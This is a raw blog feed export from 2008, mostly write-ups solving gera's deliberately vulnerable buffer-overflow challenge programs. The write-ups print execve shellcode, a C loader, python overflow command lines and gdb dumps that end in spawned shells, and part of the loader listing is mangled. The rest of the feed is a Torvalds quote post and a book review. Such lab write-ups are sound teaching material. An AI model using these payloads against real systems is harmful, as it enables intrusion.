0);"&gt; while(1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Both &lt;span style="color: rgb(153, 0, 0);"&gt;strcpy()&lt;/span&gt; make it look simple, but that's not the case (not at least compared to all the previous levels). We can clearly write wherever we want in memory, but notice that after we managed to overwrite there's a infinite loop in there, hence, the "what to overwrite" requires a special approach. Since &lt;span style="color: rgb(153, 0, 0);"&gt;strcpy()&lt;/span&gt; itself is a function call, everytime we call it, we go for the traditional function prelude in the assembler level, storing the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value in the stack.&lt;br /&gt;&lt;br /&gt;Our test system isn't running any kind of stack randomization patch nor anything so we can guess beforehand in what address the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value will be stored and write there. Since the writing process will become effective inside the &lt;span style="color: rgb(153, 0, 0);"&gt;strcpy()&lt;/span&gt; implementation, the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value will be already stored and no smashing will happen from the normal flow of the program. I want to stress here that the call that does the trick is the second one, the first call to &lt;span style="color: rgb(153, 0, 0);"&gt;strcpy()&lt;/span&gt; just gives us control over the &lt;span style="color: rgb(153, 0, 0);"&gt;pbuf&lt;/span&gt; pointer.&lt;br /&gt;&lt;br /&gt;The main difficulty in this case was finding the exact address of the ret value. In my case I used different values and analized core dumps (remember to set "&lt;span style="color: rgb(51, 51, 255);"&gt;ulimit -c unlimited&lt;/span&gt;" to get core dumps) to find it. The address turned out to be &lt;span style="color: rgb(153, 0, 0);"&gt;0xbfffee8c&lt;/span&gt; thus making the call pretty straightforward:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;infi@labo:~/InsecureProgramming&gt; ./abo1exp&lt;/span&gt;&lt;span style="font-family: arial;"&gt;&lt;br /&gt;infi@labo:~/InsecureProgramming&gt; ./abo6 `python -c 'print "A"*268+"\x8c\xee\xff\xbf"+" \x40\xff\xff\xbf"'`&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;sh-3.0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As a final note for this level, when the binary was compiled using the &lt;span style="color: rgb(153, 0, 0);"&gt;-ggdb&lt;/span&gt; flag for debugging, the exploit didn't work outside &lt;span style="color: rgb(51, 51, 255);"&gt;gdb&lt;/span&gt; and the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; address was smashed in a byte of the whole dword(thanks to erg0t for enlightening me on this one :-).&lt;br /&gt;&lt;br /&gt;So that was it, hopefully I can get back on track with these challenges in a more regular schedule now with the beginning of the new academic year. Hope you enjoyed it as much as I did and don't forget to keep adding NOPs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-2033744088189054379?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/2033744088189054379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=2033744088189054379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/2033744088189054379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/2033744088189054379'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/09/advanced-buffer-overflows-revolutions.html' title='Advanced Buffer Overflows Revolutions'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-5110794202189320830</id><published>2008-07-24T03:29:00.011+02:00</published><updated>2008-07-24T03:59:01.348+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='gera'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>Advanced Buffer Overflows, Take #2</title><content type='html'>Hello again fellows, tonight, we'll take another step ahead in solving gera's programming challenges with this second take in the &lt;span style="font-style: italic;"&gt;Advanced Buffer Overflows&lt;/span&gt; section. Unlike the previous take, this one will cover more than one level: from second to fourth to be more precise. As usual we'll take a look at the source and make an hypothesis on the possible attack path to follow. Without greater delay, let's begin.&lt;br /&gt;&lt;br /&gt;This is how #2 looks like:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color:#108010;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;int main(int argv,char **argc) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char buf[256];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(buf,argc[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; exit(1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="font-family: Georgia,serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;As an avid reader might have noticed, despite the obvious possibility to overflow the buffer in the stack, the exit() call right after the strcpy() makes impossible ever reaching any &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value we might have corrupted. After hitting the wall a couple of times, I noticed that in gera's solutions, the best outcome seemed to be a local DoS attack to the program. For this purpose we can make a call using a VERY LARGE sequence of characters so that memory would get largely corrupted and program wouldn't be able to continue it's normal way (presumably smashing the GOT or PLT entries where references to exit() are saved for dynamic linking). Not the most elegant solution but this is what this circumstances led us to :(&lt;br /&gt;&lt;br /&gt;Turning our look to #3:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color:#108010;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;int main(int argv,char **argc) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extern system,puts; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; void (*fn)(char*)=(void(*)(char*))&amp;system;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char buf[256];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; fn=(void(*)(char*))&amp;puts;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(buf,argc[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; fn(argc[2]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; exit(1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The pointer mess in this case might scare the newcomer but once the fog clears out we notice what a piece of cake this is. All we have to face this time is a locally defined function pointer; right after our stack buffer. This should make your mouth sweat. Funny enough, the same approach we followed in &lt;span style="font-style: italic;"&gt;abo1&lt;/span&gt; will do the job this time. How? someone might ask. While in the first level we overwrote the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value, this time we can overwrite a pointer to a function that will be called right after we smash the stack.(I won't display the solution here to keep the post-size as efficient as possible)&lt;br /&gt;&lt;br /&gt;At this point we make it into #4, the bad boy:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color:#108010;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;extern system,puts; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;void (*fn)(char*)=(void(*)(char*))&amp;system;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;int main(int argv,char **argc) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char *pbuf=malloc(strlen(argc[2])+1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char buf[256];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;fn=(void(*)(char*))&amp;puts;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(buf,argc[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(pbuf,argc[2]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; fn(argc[3]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; while(1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Like in #3, this time we have function pointers around and like in #3 we call the function using the pointer after smashing the buffer but...the pointer is defined OUT of the local function, thus no function pointer abuse this time. Apparently, the only thing we can smash in this situation is the &lt;span style="color: rgb(51, 51, 255);"&gt;pbuf&lt;/span&gt; pointer which points to the region allocated in the heap to place argc[2] or the 2º argument. This will do the trick, we will overwrite the &lt;span style="color: rgb(51, 51, 255);"&gt;pbuf&lt;/span&gt; pointer so that we can freely control the second strcpy() and write wherever in memory we want. If we use gdb to investigate a little, we'll notice that the adress of fn() is actually &lt;span style="color: rgb(153, 0, 0);"&gt;0x0804974c&lt;/span&gt;. To store the shellcode we will follow the same approach we used in the previous buffer overflow levels, we will store it in a environment variable(remember we used address &lt;span style="color: rgb(153, 0, 0);"&gt;0xbfffff40&lt;/span&gt; for that one). Recapping a little this is how we would build the call:&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;infi@labo:~/InsecureProgramming&gt; ./abo4 `python -c 'print "A"*268+"\x4c\x97\x04\x08"'` `python -c 'print "\x40\xff\xff\xbf"'` CCCC&lt;br /&gt;sh-3.00$&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once again, mission complete. This is it for today, more from challenges will be coming shortly. Keep adding NOPs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-5110794202189320830?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/5110794202189320830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=5110794202189320830' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/5110794202189320830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/5110794202189320830'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/07/advanced-buffer-overflows-take-2.html' title='Advanced Buffer Overflows, Take #2'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-3113295847133437365</id><published>2008-07-23T10:41:00.003+02:00</published><updated>2008-07-23T10:56:17.276+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='openbsd'/><title type='text'>Torvalds Mad at Security Industry</title><content type='html'>A couple of days ago in the gmane mailing lists Linus Torvalds, the famous creator of Linux went berserk against what he named as "the whole security circus".&lt;br /&gt;&lt;br /&gt;Apparently, he's very annoyed by the &lt;span style="font-style: italic;"&gt;fame-boost&lt;/span&gt; people get each time they find a new security bug. In the same post he also delighted us with some quotes regarding OpenBSD as; "&lt;span style="font-style: italic;"&gt;I think the OpenBSD crowd is a bunch of masturbating monkeys&lt;/span&gt;" and "&lt;span style="font-style: italic;"&gt;...they make such a big deal about concentrating on security to the point where they pretty much admit that nothing else matters to them...&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;He states that in his view, a security bug is no more important than any other traditional bug and in fact, traditional bug are _WAY_ more important. &lt;a href="http://thread.gmane.org/gmane.linux.kernel/701694/focus=706950"&gt;Here&lt;/a&gt; is the link to the original post and here's a copy of the message:&lt;br /&gt;&lt;pre&gt;On Tue, 15 Jul 2008, Linus Torvalds wrote:&lt;br /&gt;&gt;&lt;br /&gt;&gt; So as far as I'm concerned, "disclosing" is the fixing of the bug. It's&lt;br /&gt;&gt; the "look at the source" approach.&lt;br /&gt;&lt;br /&gt;Btw, and you may not like this, since you are so focused on security, one&lt;br /&gt;reason I refuse to bother with the whole security circus is that I think&lt;br /&gt;it glorifies - and thus encourages - the wrong behavior.&lt;br /&gt;&lt;br /&gt;It makes "heroes" out of security people, as if the people who don't just&lt;br /&gt;fix normal bugs aren't as important.&lt;br /&gt;&lt;br /&gt;In fact, all the boring normal bugs are _&lt;u&gt;way&lt;/u&gt;_ more important, just because&lt;br /&gt;there's a lot more of them. I don't think some spectacular security hole&lt;br /&gt;should be glorified or cared about as being any more "special" than a&lt;br /&gt;random spectacular crash due to bad locking.&lt;br /&gt;&lt;br /&gt;Security people are often the black-and-white kind of people that I can't&lt;br /&gt;stand. I think the OpenBSD crowd is a bunch of masturbating monkeys, in&lt;br /&gt;that they make such a big deal about concentrating on security to the&lt;br /&gt;point where they pretty much admit that nothing else matters to them.&lt;br /&gt;&lt;br /&gt;To me, security is important. But it's no less important than everything&lt;br /&gt;&lt;b&gt;*else*&lt;/b&gt; that is also important!&lt;br /&gt;&lt;br /&gt;   Linus&lt;br /&gt;&lt;/pre&gt;Tough words to read from someone who did so much for what we have today.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-3113295847133437365?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/3113295847133437365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=3113295847133437365' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/3113295847133437365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/3113295847133437365'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/07/torvalds-mad-at-security-industry.html' title='Torvalds Mad at Security Industry'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-720696288714790549</id><published>2008-07-21T22:58:00.004+02:00</published><updated>2008-07-21T23:37:38.507+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='books'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><category scheme='http://www.blogger.com/atom/ns#' term='review'/><title type='text'>Book Review: Reversing, Secrets of Reverse Engineering.</title><content type='html'>Even thought I have some more solutions for the &lt;a href="http://morenops.blogspot.com/2008/07/advanced-buffer-overflows-take-1.html"&gt;&lt;span style="font-style: italic;"&gt;Advanved Buffer Overflow Challenges&lt;/span&gt;&lt;/a&gt; in the line, today I come with a different kind of article. This time I'll be reviewing one of the latest additions to my shelf: &lt;span style="font-style: italic;"&gt;"Reversing, Secrets of Reverse Engineering"&lt;/span&gt; by Eldad Eilam. As every experienced hacker knows, understanding of the lowest and most-inner workings of a program sometimes goes throught analizing it's low level code representation and the most basic interaction with the underlaying OS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://media.wiley.com/product_data/coverImage/17/07645748/0764574817.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 98px; height: 124px;" src="http://media.wiley.com/product_data/coverImage/17/07645748/0764574817.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;From my experience, the documentation available in the net is often either very specific or largely outdated, hence I decided to give a shot to a all-in-one physical format like a book. I don't regret it a second. I knew the book since some time ago, It's been around since 2005, but I never felt it would report much to what I needed at the time. I couldn't be more wrong. Lately I've been trying to take a look at real life vulnerability code in order to get away from artificial yet educational &lt;span style="font-style: italic;"&gt;exploitme-like&lt;/span&gt; situations. Most of the time the environment used to be Windows in a 32bit environment, which fortunately is documented on the web. Still, it takes a trained eye to recognize vulnerable portions of code in a sea of mov's,lea's and cmp's. A hands-on reversing lesson was on demand.&lt;br /&gt;&lt;br /&gt;At first I was a bit reluctant to the book, the initial chapters are just refreshers for some basic architecture and tool knowledge which is handy considering the solid base they make for the rest of the book. After that it goes to reversing a group of windows undocumented APIs; basic training to recognize C/C++ structures and functions. Then it moves to the topic that interest's us the most: Binary Auditing.&lt;br /&gt;&lt;br /&gt;It makes for a good help to pay a visit to our old overflow friends and taking a look at how the look under the cover. The chapter also makes a detailed analysis of the famous IIS Unicode Bug that worked as launchpad to the also known CodeRed worm.&lt;br /&gt;&lt;br /&gt;After that came one of the chapters that I had the most fun reading, mostly because I had no previous exposure to it: Malware Analysis. Using a Trojan as example it goes to understand it's internals. Isolated virtual environment is a MUST for this :)&lt;br /&gt;&lt;br /&gt;From then on the book continues his way throught cracking, anti-cracking and some protection schemes. Mention deserved to the last chapters dealing with virtual machine based languages using Microsoft's very own .NET platform as example which seemed to me as lightening for other languages such as Java. The book gets completed with 4 Appendixes that make for good reference sections for future reversing sessions.&lt;br /&gt;&lt;br /&gt;All in all, a great book, a must have, one of those that takes more than the others to get outdated because not only shows hands-on experience but also shows the path to follow for upcoming techniques developed in the area. After all, reversing is a tool that many different research areas benefit from in greater or lesser way.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0764574817,descCd-description.html"&gt;Book Site&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-720696288714790549?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/720696288714790549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=720696288714790549' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/720696288714790549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/720696288714790549'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/07/book-review-reversing-secrets-of.html' title='Book Review: Reversing, Secrets of Reverse Engineering.'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-6567228677742745181</id><published>2008-07-11T12:48:00.010+02:00</published><updated>2008-07-21T23:01:02.203+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='gera'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>Advanced Buffer Overflows, Take #1</title><content type='html'>Welcome back. Today we will make another step ahead in the path &lt;a href="http://community.core-sdi.com/%7Egera/InsecureProgramming/"&gt;gera&lt;/a&gt; set up some time ago. Today's topic will be the first challenge of the &lt;big&gt;A&lt;/big&gt;DVANCED &lt;big&gt;B&lt;/big&gt;UFFER &lt;big&gt;O&lt;/big&gt;VERFLOWS section, but don't let the name scare you away; this is a simple one once the general theory is in place. I'm not going to go trought all the architectural knowledge you need to know in order to understand the situation, I'll assume you got that somewhere else. Without further delay, let's begin.&lt;br /&gt;&lt;br /&gt;This how the C source looks like:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color: rgb(16, 128, 16);"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;int main(int argv,char **argc) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char buf[256];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(buf,argc[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The function takes an argument from the command line and copies it to a buffer in the stack without any kind of sanitization checks. Hence, the programming error is clear: We can write data in the stack past the buffer boundaries as with any conventional buffer overflow.&lt;br /&gt;&lt;br /&gt;Now, we can take too diferents approaches while exploiting this error after overwriting the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value from the stack. The first approach would be to place the shellcode in the buffer itself, sensible solution since the stack is pretty large to fit a linux shellcode (256 bytes). However a issue rises up if we follow this path; We can't hardcode our bogus return address because we don't know the address of the buffer till runtime. This would force us to make Position Independent Code (PIC) as explained in the famous article by aleph1 "Smashing the Stack for Fun and Profit".&lt;br /&gt;&lt;br /&gt;Therefore, in this article we'll follow the alternative path pioneered by Murat in his "Buffer Overflows Demystified". We will place the shellcode in a environment variable and then point the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value there. The ease in this approach comes from the fact that every time a linux executable goes live, the memory layout has certain constant addresses (unless we use any kind of randomization patch) that will help us. In our particular case, the environment variables begin in the highest memory addresses right after &lt;span style="color: rgb(153, 0, 0);"&gt;0xbffffffa&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Once having understood the breafing, let's move into more practical ground. In my case I'll use the &lt;span style="color: rgb(0, 0, 153);"&gt;COLORTERM&lt;/span&gt; variable which by default has no value in my SuSE 9.3 VM. First of all, I'll use a little C program (&lt;span style="font-style: italic;"&gt;abo1exp.c&lt;/span&gt;) to build our "evil-buffer" and export it to the aforementioned environment var (the template is taken from Shellcoder's Handbook code):&lt;br /&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;#define    BUFFSIZE            256&lt;br /&gt;#define NOP                0x90&lt;br /&gt;&lt;br /&gt;char sc[] =&lt;br /&gt;&lt;br /&gt;  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"&lt;br /&gt;  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"&lt;br /&gt;  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[]){&lt;br /&gt;  char *buff, *ptr;&lt;br /&gt;  int bsize=BUFFSIZE,i;&lt;br /&gt;&lt;br /&gt;  if(!(buff = malloc(bsize))){&lt;br /&gt;      printf("Can't allocate memory.\n");&lt;br /&gt;      exit(0);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  ptr = buff;&lt;br /&gt;&lt;br /&gt;  for(i=0;i&lt;bsize ptr="buff" bsize="" i="0;"&gt;&lt; colorterm=",10);     putenv(buff);     system("&gt;&lt;/bsize&gt;&lt;/stdlib.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now all we have left to know is which address our environment variable holds so we can inject it from the command line causing a overflow. For this purpose, I first ran the program inside gdb and took a look at the memory space surrounding &lt;span style="color: rgb(153, 0, 0);"&gt;0xbffffffa&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;(gdb) x/20x 0xbfffff40&lt;br /&gt;0xbfffff40:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;0xbfffff50:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;0xbfffff60:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;(gdb) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Since we're using a NOP pad to increase our chances of success, we don't need to know the exact address but just a close one. In my case &lt;span style="color: rgb(153, 0, 0);"&gt;0xbfffff40&lt;/span&gt; turned out to be a successfull choice. So, a this point all that's left is to call abo1 after building the environment var using our friend &lt;span style="color: rgb(0, 0, 153);"&gt;python&lt;/span&gt; to cause the overflow. I should note that I used 268 as junk size because after several brute-force tests we managed to overwrite the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value when we used 272 characters, therefore 272 - 4(size of word) = 268:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;infi@labo:~/InsecureProgramming&gt; ./abo1exp&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;infi@labo:~/InsecureProgramming&gt; ./abo1 `python -c 'print "A"*268+"\x40\xff\xff\xbf"'`&lt;br /&gt;sh-3.00$&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So this was it. I tried to make the exploit work in some automated way instead of having to make a customized call everytime with python, but after the fifth failure I just gave up :). For the upcoming articles I'll try to keep bringing more solutions for these challenges because they seem to cover almost every kind of exploitation technique used nowadays. In the meantime...keep adding NOPs!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-6567228677742745181?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/6567228677742745181/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=6567228677742745181' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/6567228677742745181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/6567228677742745181'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/07/advanced-buffer-overflows-take-1.html' title='Advanced Buffer Overflows, Take #1'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-3464918732358980310</id><published>2008-06-25T12:52:00.009+02:00</published><updated>2008-06-25T13:46:51.653+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='gera'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>WARMING UP on STACK - Part II</title><content type='html'>Last time we worked on the first three levels of the &lt;span style="font-style: italic;"&gt;WARMING UP on STACK&lt;/span&gt; section of &lt;a href="http://community.corest.com/%7Egera/InsecureProgramming/"&gt;gera's exploit challenge&lt;/a&gt;, today we'll clear the remaining two. Both will be covered as a single solution since they only differ in the output message after succeeding. As we mentioned, the path to the solution is a little bit different than the other levels. Last time all we had to do is overflow our buffer until we reached the cookie value. This time rather than changing a local variable's value, we will change the execution flow of our program.&lt;br /&gt;&lt;br /&gt;For this to be possible, we need a refresher on what role the stack plays in the proper flow of a program. From a C language point of view each time we call a function a couple of mandatory proceedings happen within the stack. First, when the assembly instruction call is executed, the current value of the &lt;span style="color: rgb(153, 0, 0);"&gt;eip&lt;/span&gt; register gets pushed into the stack (which grows towards lower memory addresses) so that when the function finishes we can get back to where we were executing instructions. Next, we save the current &lt;span style="color: rgb(153, 0, 0);"&gt;ebp&lt;/span&gt; register value in the stack and set the current &lt;span style="color: rgb(153, 0, 0);"&gt;esp&lt;/span&gt; value as &lt;span style="color: rgb(153, 0, 0);"&gt;ebp&lt;/span&gt; to have a consistent 